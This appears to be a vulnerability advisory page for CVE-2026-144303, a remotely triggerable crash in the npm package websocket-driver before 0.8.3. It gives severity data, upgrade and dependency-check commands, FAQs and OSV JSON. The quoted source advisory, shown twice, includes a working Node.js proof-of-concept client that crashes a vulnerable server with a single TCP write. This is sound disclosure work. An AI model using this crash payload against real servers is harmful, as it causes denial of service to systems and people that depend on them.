CVE-2026-144303: websocket-driver Server Crash Triggered By Client Vulnerability

HIGH
Advisory Identifier: GHSA-mxfr-rg9v-vp3c
CVSS 7.5
CWE-248
Published
Advisory Summary

CVE-2026-144303 is a HIGH (CVSS 7.5) server crash triggered by client vulnerability (CWE-248: Uncaught Exception) affecting websocket-driver libraries in the npm ecosystem. The issue involves server crash triggered by client sending message data in the same tcp chunk as request headers. Remediation is available by upgrading affected packages to version 0.8.3.

CVE-2026-144303 at a Glance

CVE Identifier CVE-2026-144303
GHSA Identifier GHSA-mxfr-rg9v-vp3c
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-248: Uncaught Exception
Affected Product websocket-driver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-144303

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.8.3
npm install websocket-driver@0.8.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls websocket-driver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-144303, inspect your project dependencies using npm:

npm ls websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.3), your application is affected.

Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A WebSocket server implemented using `websocket-driver` can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers. ### Details The `websocket.http()` driver constructor is designed to be used with the Node HTTP `upgrade` event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling `start()` on it, like so: ```js server.on('upgrade', (request, socket, body) => { if (!websocket.isWebSocket(request)) return let driver = websocket.http(request) driver.io.write(body) // set up event listeners... driver.start() }) ``` This API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly. When the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process. This has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely. ### Proof of concept Given a server set up as follows: ```js const http = require('http') const websocket = require('websocket-driver') let server = http.createServer() server.on('upgrade', (request, socket, body) => { if (!websocket.isWebSocket(request)) return let driver = websocket.http(request) driver.io.write(body) socket.pipe(driver.io).pipe(socket) driver.messages.on('data', (m) => console.log({ m })) driver.start() }) server.listen(5077, '127.0.0.1') ``` The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk. ```js const net = require('net') let socket = net.connect(5077, '127.0.0.1') let httpMessage = Buffer.from( 'GET / HTTP/1.1\r\n' + 'Host: 127.0.0.1\r\n' + 'Connection: Upgrade\r\n' + 'Upgrade: websocket\r\n' + `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` + 'Sec-WebSocket-Version: 13\r\n' + '\r\n' ) // FIN = 1, mask key 00 00 00 00, payload 'a' let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61]) // the frame is sent in the same write as the handshake, // so it arrives in the `body` (head) argument of the 'upgrade' event socket.write(Buffer.concat([httpMessage, maskedTextFrame])) socket.on('error', () => {}) ``` On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent. ### Impact An unauthenticated remote client can crash any Node.js process that follows the README's "Server-side with HTTP" example, with a single TCP write.

CVE-2026-144303 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.8.3
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
npm
< 0.8.3
0.8.3

References

Frequently Asked Questions

What is CVE-2026-144303?
CVE-2026-144303 is a security vulnerability in websocket-driver involving Server crash triggered by client sending message data in the same TCP chunk as request headers under CWE-248: Uncaught Exception.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.8.3 across affected packages: websocket-driver.
What version fixes CVE-2026-144303?
Upgrading to 0.8.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.8.3. Upgrade your dependency to 0.8.3 or later.
What is the CVSS score of CVE-2026-144303?
CVE-2026-144303 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-144303?
CVE-2026-144303 is classified under CWE-248: Uncaught Exception (An exception is thrown from a function, but it is not caught.).
How can I check npm dependencies for CVE-2026-144303?
Run the dependency tree command: 'npm ls websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mxfr-rg9v-vp3c",
  "modified" : "2026-12-04T21:54:48Z",
  "published" : "2026-12-04T21:54:48Z",
  "aliases" : [ "CVE-2026-144303" ],
  "summary" : "websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers",
  "details" : "### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.\n\n### Details\n\nThe `websocket.http()` driver constructor is designed to be used with the Node HTTP `upgrade` event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling `start()` on it, like so:\n\n```js\nserver.on('upgrade', (request, socket, body) => {\n  if (!websocket.isWebSocket(request)) return\n  let driver = websocket.http(request)\n  driver.io.write(body)\n  // set up event listeners...\n  driver.start()\n})\n```\n\nThis API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.\n\nWhen the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process.\n\nThis has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.\n\n### Proof of concept\n\nGiven a server set up as follows:\n\n```js\nconst http = require('http')\nconst websocket = require('websocket-driver')\n\nlet server = http.createServer()\n\nserver.on('upgrade', (request, socket, body) => {\n  if (!websocket.isWebSocket(request)) return\n\n  let driver = websocket.http(request)\n\n  driver.io.write(body)\n  socket.pipe(driver.io).pipe(socket)\n\n  driver.messages.on('data', (m) => console.log({ m }))\n\n  driver.start()\n})\n\nserver.listen(5077, '127.0.0.1')\n```\n\nThe following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.\n\n```js\nconst net = require('net')\n\nlet socket = net.connect(5077, '127.0.0.1')\n\nlet httpMessage = Buffer.from(\n  'GET / HTTP/1.1\\r\\n' +\n  'Host: 127.0.0.1\\r\\n' +\n  'Connection: Upgrade\\r\\n' +\n  'Upgrade: websocket\\r\\n' +\n  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n  'Sec-WebSocket-Version: 13\\r\\n' +\n  '\\r\\n'\n)\n\n// FIN = 1, mask key 00 00 00 00, payload 'a'\nlet maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])\n\n// the frame is sent in the same write as the handshake,\n// so it arrives in the `body` (head) argument of the 'upgrade' event\nsocket.write(Buffer.concat([httpMessage, maskedTextFrame]))\nsocket.on('error', () => {})\n```\n\nOn receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.\n\n### Impact\n\nAn unauthenticated remote client can crash any Node.js process that follows the README's \"Server-side with HTTP\" example, with a single TCP write.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-mxfr-rg9v-vp3c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-144303"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/commit/66486511c8b90ce6de4ea5b613109562f4cb5900"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-node"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/releases/tag/0.8.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-04T21:54:48Z",
    "nvd_published_at" : "2026-12-03T18:17:26Z"
  }
}